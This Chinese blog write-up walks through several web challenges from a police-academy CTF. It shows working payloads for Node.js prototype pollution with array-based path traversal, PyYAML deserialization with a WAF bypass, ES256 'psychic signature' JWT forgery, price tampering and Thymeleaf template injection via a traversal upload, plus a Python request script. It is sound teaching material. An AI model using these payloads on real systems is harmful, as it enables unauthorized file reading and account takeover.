第四届黄河流域公安院校网络安全技能挑战赛

本文最后更新于 2026年7月1日 中午

黄河流域和智警杯时间重了,回来之后复现的

real_Grafana

爆破密码然后打CVE

1
2
username:editor
password:editor123

image-20260328214027001

ezlog

主要就是两个接口,一个可以nodejs原型链污染,一个可以查看文件但是需要管理员权限

先看看管理员的校验逻辑

1
2
3
4
5
6
7
8
9
10
11
const ADMIN_NAME = "CTF-ADMIN";
const ADMIN_NONCE = "t0mcater" + generateSecureRandomNumber();

let adminconfig = {
name: ADMIN_NAME
};
Object.prototype.nonce = ADMIN_NONCE;

function isAdmin(name, nonce) {
return name === adminconfig.name && nonce === Object.prototype.nonce;
}

校验了两个变量,再看看递归合并函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function merge(target, source, res) {
for (let key in source) {
if (key === '__proto__') {
if (res) {
res.send('????');
return;
}
continue;
}

if (source[key] instanceof Object && key in target) {
merge(target[key], source[key], res);
} else {
target[key] = source[key];
}
}
}

app.post('/api/pollute', (req, res) => {
let userconfig = req.body;
try {
merge(adminconfig, userconfig, res);
res.json({
status: "success",
msg: "pollute success!!!",
});
} catch (e) {
res.status(500).json({ status: "error", message: "wtf?" });
}
});

禁用了__proto__,我们可以走constructor,考虑到是公共靶机,保险起见顺手把name也污染了

1
{"name": "hacker"}
1
{"constructor":{"prototype":{"nonce":"pwned"}}}

下面我们看看怎么读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
const allowedFile = (file) => {
const lastDot = file.lastIndexOf('.');
if (lastDot === -1) return false;
const format = file.slice(lastDot + 1);
return format == 'log';
};

app.post('/api/checkfile', async (req, res, next) => {
try {
if (isAdmin(req.body.name, req.body.nonce)) {
let file = req.query.file;
console.log(file);
if (!file) {
return res.send('File name not specified.');
}
if (!allowedFile(file)) {
return res.send('File type not allowed.');
}
try {
if (file.includes(' ') || file.includes('/') || file.includes('..')) {
return res.send('Invalid filename!');
}
} catch (err) {
return res.send('An error occured!');
}

if (file.length > 10) {
file = file.slice(0, 10);
}
const returned = path.resolve('./' + file);
fs.readFile(returned, (err) => {
if (err) {
return res.send('An error occured!');
}
res.sendFile(returned);
});
} else {
return res.status(403).send('Sorry Only privileged Admin can check the file.');
}
} catch (err) {
return next(err);
}
});

这里校验了文件后缀名,进行了长度截取

注意:file.slice对数组也有效而对file参数进行多次传参可以产生数组!!!

1
/api/checkfile?file=a&file=a&file=a&file=a&file=a&file=a&file=a&file=a&file=a&file=%2F..%2F..%2Fflag&file=.&file=log

传参得到

1
['a','a','a','a','a','a','a','a','a','/../../flag','.','log']

完美通过后缀校验,长度截取直接截掉后缀名

1
['a','a','a','a','a','a','a','a','a','/../../flag']

我们看path.resolve('./' + file);

这里file是一个数组,会进行toString操作,变成./a,a,a,a,a,a,a,a,a,/../../flag,直接目录穿越,读到flag

喵喵宠物医院

提示YAML不止能写配置文件,PyYAML的文档里有些有意思的tag,那一般就是PyYaml反序列化了

我们探测一下有哪些接口

/api/records电子档案增删查,/api/terminal智能辅助终端

继续探测,我们发现在智能辅助终端输入help会暴露两个方法

image-20260618113820629

我们推测这里的yaml.load() 使用了不安全的 Loader

先尝试一个最简单的Payload

1
!!python/object/apply:os.system ["whoami"]

image-20260618120405228

有WAF,简单测一下

1
!!python,os.popen,os.system,builtins,eval,exec,subprocess,/flag

这里我们来简单解释一下原始payload的构造以及如何绕过WAF

image-20260618163942302

首先是!!python的绕过

YAML 的 %TAG 指令可以为标签 URI 创建别名前缀。利用这一点,将 !!python 映射为自定义前缀 !p!

下面是函数,由于WAF常见的执行函数的命令基本都废了,我们找找能打开文件的函数

1
linecache.getline(filename, lineno) #读取指定文件的指定行

那么/flag我们直接用拼接绕过就好了

最终payload:

1
2
3
4
5
%TAG !p! tag:yaml.org,2002:python/           # 定义标签简写
---
name: !p!object/apply:linecache.getline # 文档开始 + 实际内容
- !p!object/apply:posixpath.join[/,flag]
- 1

思考:----的作用是什么

---表示yaml文档的开始,前面是标签简写的定义

-表示列表,可以给函数传递参数

写一个python程序发包即可

1
2
3
4
5
6
7
8
9
10
11
12
import requests

TAG = "%TAG !p! tag:yaml.org,2002:python/\n---\n"
PAYLOAD = TAG + "name: !p!object/apply:linecache.getline\n - !p!object/apply:posixpath.join [/, flag]"

r = requests.post(
'http://175.27.251.122:10003/api/terminal',
json={'command': PAYLOAD},
headers={'Connection': 'close'},
timeout=(8, 25)
)
print(r.text)

浅谈PyYAML反序列化漏洞-先知社区

川味小厨

楼下新开了一家川菜馆,点餐系统全面数字化,听说消费大客户有隐藏福利?这个是真的吗?我觉得应该是虚假宣传吧!

注册一个账号,然后余额是0,思考能不能通过负金额购买增加余额

这里支付分为两步,生成订单和支付,分别抓包看一下

创建订单

1
2
3
POST /api/order/create

{"items":"[{\"stamp\":\"17828272839110.3505490320695185\",\"id\":\"21\",\"name\":\"芬达\",\"price\":2.5,\"selected\":true},{\"stamp\":\"17828272863040.0051247505051564834\",\"id\":\"21\",\"name\":\"芬达\",\"price\":2.5,\"selected\":true}]","total":5}

返回一个orderId

确认支付

1
2
3
POST /api/order/pay

{"orderId":"caee86cd-e166-423e-871d-35f5166a54ec","method":"微信支付","useCoupon":false}

也就是说只需要改一下总金额获得订单号然后用订单号支付即可

然后进行大额消费,获得vipflag(是假的)

好吧,再来看看其他方向,cookie里面有token看看能不能进行jwt伪造

image-20260630220959980

加密算法是ES256,none和算法混合攻击都不行

补充: ES256 空签名漏洞

JWT 长这样:

1
base64url(header).base64url(payload).base64url(signature)

ES256 是 ECDSA 签名算法。正常情况下,我们没有私钥,不能伪造签名。

但这里服务端使用的 Java ECDSA 验签存在经典问题:某些实现会错误接受 r=0, s=0 的 ECDSA 签名。这个签名的 ASN.1 DER 编码是:

1
30 06 02 01 00 02 01 00

base64url 编码后就是:

1
MAYCAQACAQA

所以 JWT 的第三段可以直接写死为:

1
MAYCAQACAQA

这就是所谓的 psychic signature / ECDSA 空签名绕过。

构造过程

header:

1
{"alg":"ES256","typ":"JWT"}

base64url 编码后:

1
eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9

payload:

1
{"phone":"admin","rol\u0065":"admin","sid":"exp"}

base64url 编码后:

1
eyJwaG9uZSI6ImFkbWluIiwicm9sXHUwMDY1IjoiYWRtaW4iLCJzaWQiOiJleHAifQ

signature:

1
MAYCAQACAQA

拼起来:

1
eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJwaG9uZSI6ImFkbWluIiwicm9sXHUwMDY1IjoiYWRtaW4iLCJzaWQiOiJleHAifQ.MAYC

思考:为什么不能直接写role

如果直接构造 payload:

1
{"phone":"admin","role":"admin","sid":"exp"}

服务端会返回:

1
403 无权访问

原因是它在 JWT 解析前做了一个很粗糙的字符串过滤,检测到了 payload 里有字面量 role 或类似 admin 权限字段,于是拦截。

但是 JSON 支持 Unicode 转义。字段名:

1
"rol\u0065"

解析之后等价于:

1
"role"

通过伪造的jwt我们去访问/api/user/profile就得到了admin的密码Sanjiu1234567890@@@

进入后台,有文件上传的接口且文件名和文件内容可控,存在路径穿越漏洞

之前响应包带有spring风格,这里推测是 Thymeleaf 模版

上传文件名写成:

1
../templates/orders.html

内容写 Thymeleaf 表达式读取 /flag

1
2
3
4
5
6
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<body>
<div th:text="${new java.io.BufferedReader(new java.io.FileReader('/flag')).readLine()}"></div>
</body>
</html>

image-20260701113709190

访问订单管理页就能得到flag

image-20260701113759419


第四届黄河流域公安院校网络安全技能挑战赛
https://www.sunynov.top/2026/06/10/第四届黄河流域公安院校网络安全技能挑战赛/
作者
suny
发布于
2026年6月10日
许可协议